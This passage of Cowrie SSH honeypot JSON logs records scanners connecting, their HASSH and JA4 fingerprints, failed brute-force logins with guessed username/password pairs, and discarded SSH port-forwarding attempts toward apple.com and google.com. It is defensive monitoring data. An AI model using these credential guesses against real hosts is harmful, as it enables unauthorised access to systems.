03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:47.509002Z","src_ip":"103.82.92.202","session":"cbfb0d295173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"mainpassword","message":"login attempt [main/mainpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:48.501976Z","src_ip":"103.82.92.202","session":"cbfb0d295173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:49.743107Z","src_ip":"103.82.92.202","session":"cbfb0d295173","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.17.96.230","dst_port":443,"src_ip":"80.94.95.118","src_port":55224,"message":"direct-tcp connection request to 2.17.96.230:443 from 127.0.0.1:55224","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:53.878769Z","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.17.96.230","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.17.96.230:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:58.427164Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.17.96.230","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\xfa\\xe2\\xce \\xc3i\\xcfn\\x12C\\xa2\\xef\\xac\\x14\\x10L\\xbd\\xec\\xc0u\\xf2X\\xe8)\\xc9w\\\\5U\\xcf\\x92 \\xbdq\\xc9\\xf1\\xefg\\xaea\\x18rFK\\xf8R\\x95'\\xbb\\x16\\x0b\\x0329\\x8fG\\xd0\\xd4hb\\xf4\\xdaNM\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ?#z\\xcc \\x84 g\\xa4M\\xa7\\x17\\xe4iH\\xd6\\x16\\xf8j*\\xfa[\\xf9\\xfaw\\xde\\xca\\x8f\\xd2\\xea\\xb0y\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 2.17.96.230:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03?\\xfa\\xe2\\xce \\xc3i\\xcfn\\x12C\\xa2\\xef\\xac\\x14\\x10L\\xbd\\xec\\xc0u\\xf2X\\xe8)\\xc9w\\\\5U\\xcf\\x92 \\xbdq\\xc9\\xf1\\xefg\\xaea\\x18rFK\\xf8R\\x95'\\xbb\\x16\\x0b\\x0329\\x8fG\\xd0\\xd4hb\\xf4\\xdaNM\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ?#z\\xcc \\x84 g\\xa4M\\xa7\\x17\\xe4iH\\xd6\\x16\\xf8j*\\xfa[\\xf9\\xfaw\\xde\\xca\\x8f\\xd2\\xea\\xb0y\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:55:58.430729Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.150.119","dst_port":443,"src_ip":"80.94.95.118","src_port":57102,"message":"direct-tcp connection request to 142.251.150.119:443 from 127.0.0.1:57102","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:04.634534Z","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.150.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.150.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:04.884495Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.150.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\xd9\\x86\\xc4\\r\\xe3\\x1c\\x88s@\\x94\\x05\\xe1L\\xc6G\\xc8\\xd7\\x94g!\\xb6?r\\x1f\\x19\\x13\\x0f\\x86\\xce\\x1a\\xb9 #\\x1d\\xbe\\x1et\\xe6\\x9b\\x05y\\x1e2$\\x88bD\\x1e\\x01\\xab\\xa2\\xaaZ\\xef\\xf5>\\xccR\\xbd\\xf3\\x0b=\\xde\\x83\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x84\\xd1\\xe5\\xb3\\x1f\\xa8K$\\x9d4v\\xa3\\xfc6t\\x06\\xd1\\x8e\\xd8\\xdbX\\x8ds\\xab_\\xf8g\\xb5R00c\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.150.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x05\\xd9\\x86\\xc4\\r\\xe3\\x1c\\x88s@\\x94\\x05\\xe1L\\xc6G\\xc8\\xd7\\x94g!\\xb6?r\\x1f\\x19\\x13\\x0f\\x86\\xce\\x1a\\xb9 #\\x1d\\xbe\\x1et\\xe6\\x9b\\x05y\\x1e2$\\x88bD\\x1e\\x01\\xab\\xa2\\xaaZ\\xef\\xf5>\\xccR\\xbd\\xf3\\x0b=\\xde\\x83\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x84\\xd1\\xe5\\xb3\\x1f\\xa8K$\\x9d4v\\xa3\\xfc6t\\x06\\xd1\\x8e\\xd8\\xdbX\\x8ds\\xab_\\xf8g\\xb5R00c\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:04.888048Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.3","message":"Connection lost after 36.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:05.016579Z","src_ip":"80.94.95.118","session":"255dd2485580","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":44062,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5dfdf12da8","protocol":"ssh","message":"New connection: 51.183.250.100:44062 (10.17.0.5:22) [session: 7e5dfdf12da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:19.612844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:19.617193Z","src_ip":"51.183.250.100","session":"7e5dfdf12da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:19.704589Z","src_ip":"51.183.250.100","session":"7e5dfdf12da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"password","message":"login attempt [customer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:20.089320Z","src_ip":"51.183.250.100","session":"7e5dfdf12da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:21.181294Z","src_ip":"51.183.250.100","session":"7e5dfdf12da8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.3","src_port":59602,"dst_ip":"10.17.0.5","dst_port":22,"session":"d865e966e06b","protocol":"ssh","message":"New connection: 118.193.33.3:59602 (10.17.0.5:22) [session: d865e966e06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:33.545050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:33.549934Z","src_ip":"118.193.33.3","session":"d865e966e06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:33.773723Z","src_ip":"118.193.33.3","session":"d865e966e06b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:34.703407Z","src_ip":"118.193.33.3","session":"d865e966e06b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:35.929385Z","src_ip":"118.193.33.3","session":"d865e966e06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":47529,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3110450007f","protocol":"ssh","message":"New connection: 154.125.147.88:47529 (10.17.0.5:22) [session: c3110450007f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:43.776569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:43.785193Z","src_ip":"154.125.147.88","session":"c3110450007f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:44.030838Z","src_ip":"154.125.147.88","session":"c3110450007f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roy","password":"roy123!","message":"login attempt [roy/roy123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:45.077211Z","src_ip":"154.125.147.88","session":"c3110450007f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:46.876905Z","src_ip":"154.125.147.88","session":"c3110450007f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":14675,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbf1c144659a","protocol":"ssh","message":"New connection: 103.62.152.202:14675 (10.17.0.5:22) [session: bbf1c144659a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:53.973629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:56:53.977834Z","src_ip":"103.62.152.202","session":"bbf1c144659a","protocol":"ssh"}
